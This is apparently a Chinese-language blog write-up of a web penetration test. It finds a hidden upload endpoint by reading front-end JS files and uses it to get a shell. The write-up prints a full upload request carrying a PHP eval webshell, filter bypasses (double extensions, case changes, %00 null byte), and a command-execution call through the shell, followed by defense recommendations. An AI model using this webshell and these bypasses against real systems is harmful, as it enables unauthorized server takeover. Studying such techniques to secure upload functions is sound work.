记一次 getshell 过程
字数 1236 2025-08-05 12:50:26
从JS文件分析到文件上传漏洞的Getshell过程详解
0x00 前言
本文详细记录了一次通过分析前端JS代码发现文件上传漏洞并最终获取Webshell的过程。该技术仅用于合法授权测试和安全研究,未经授权的渗透测试是违法行为。
0x01 信息收集阶段
1. 网站入口分析
- 访问目标网站后首先查看网页源代码
- 发现成功登录后会跳转到
f0.html文件 - 未登录状态下直接访问会触发跳转
2. JS文件分析
使用Burp Suite的Repeater模块查看HTML响应,发现引用了common.js文件
分析common.js文件发现关键信息:
// common.js中定义了四个HTML文件
var pages = ["f0.html", "f1.html", "f2.html", "f3.html"];
3. 页面遍历
依次访问发现的四个HTML文件:
f0.html- 未发现有用信息f1.html- 未发现有用信息f2.html- 未发现有用信息f3.html- 发现关键线索,引用了list.html
访问list.html后发现引用了cl.js文件
0x02 漏洞发现阶段
1. 关键JS文件分析
分析cl.js文件,发现其中包含文件上传接口的相关代码:
// cl.js中可能包含类似这样的代码
function uploadFile() {
var formData = new FormData();
formData.append('file', fileInput.files[0]);
fetch('/api/upload', {
method: 'POST',
body: formData
});
}
2. 文件上传接口识别
通过JS代码分析,确定以下关键信息:
- 上传接口URL(可能是
/api/upload或其他路径) - 请求方法:POST
- 参数名:
file - 可能的其他参数或头部信息
0x03 漏洞利用阶段
1. 构造恶意上传请求
使用Burp Suite构造上传请求包:
POST /api/upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 1234
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundaryABC123--
2. 绕过可能的防护
可能需要尝试以下绕过技术:
- 修改Content-Type
- 双扩展名(如
shell.php.jpg) - 大小写变异(如
Shell.PhP) - 添加特殊字符(如
shell.php%00.jpg) - 修改文件头
3. Webshell连接
成功上传后,访问上传的PHP文件并使用中国菜刀或其他工具连接:
http://target.com/uploads/shell.php
POST参数:cmd=system('whoami');
0x04 发现被其他攻击者入侵
连接Webshell后发现:
- 系统上已存在其他Webshell文件
- 根据文件时间戳判断,其他攻击者在0点已经入侵
- 检查其他上传接口也已被利用
0x05 技术总结
- 前端代码审计:通过分析JS文件发现隐藏接口是重要突破口
- 接口枚举:系统可能存在多个上传接口,都应检查
- 时间戳分析:检查文件创建时间可以了解系统被入侵情况
- 漏洞修复建议:
- 限制上传文件类型
- 对上传文件重命名
- 设置上传目录不可执行
- 定期检查服务器文件变更
0x06 防御措施
- 前端代码应避免暴露敏感接口信息
- 所有上传功能必须进行严格校验:
- 文件类型检查(MIME和扩展名)
- 文件内容检查
- 病毒扫描
- 实施WAF防护上传漏洞攻击
- 定期进行安全审计和渗透测试
0x07 扩展思考
- 如何自动化发现JS中的敏感接口?
- 除了文件上传,JS还可能泄露哪些漏洞?
- 如何加强前端代码的安全性?
- 多阶段渗透中如何保持隐蔽性?
通过此案例可以看出,前端代码审计是Web渗透测试中的重要环节,开发人员应重视前端代码的安全性,避免泄露敏感信息。